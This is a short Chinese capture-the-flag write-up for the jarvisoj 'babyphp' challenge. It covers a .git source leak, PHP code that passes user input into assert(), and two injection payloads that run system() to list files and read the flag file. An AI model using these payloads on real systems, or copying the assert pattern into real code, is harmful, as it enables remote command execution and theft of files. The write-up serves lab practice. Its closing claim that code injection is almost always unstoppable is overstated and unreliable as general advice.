jarvisoj babyphp
Posted Cxlover的博客哦
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了jarvisoj babyphp相关的知识,希望对你有一定的参考价值。
jarvisoj babyphp
涉及知识点:
(2)php代码注入
解析:
看到题目中的用了git那么第一反应肯定是可能存在.git源码泄露。
用GitHack尝试一下。
审计关键代码。
<?php if (isset($_GET[\'page\'])) { $page = $_GET[\'page\']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; assert("strpos(\'$file\', \'..\') === false") or die("Detected hacking attempt!"); assert("file_exists(\'$file\')") or die("That file doesn\'t exist!"); ?>
可以看到page是由我们自己控制的。那么这样的话就可以尝试php代码注入了。
构造payload: ?page=\'.system(ls).\'
爆出本级文件。那么只要读取templates下的flag.php就可以了
构造payload : ?page=\'.system(\'cat templates/flag.php\').\'
打开F12看到flag.php中的内容如下。
得到flag。(图不太清晰,但是毕竟是flag,不重要)。
注:经过多次尝试之后,我发现php代码注入只要存在(前提是存在注入点),几乎都是无解的问题。它可以存在于任何地方,甚至赋值语句都可以用php代码注入来获取你想要的内容。
以上是关于jarvisoj babyphp的主要内容,如果未能解决你的问题,请参考以下文章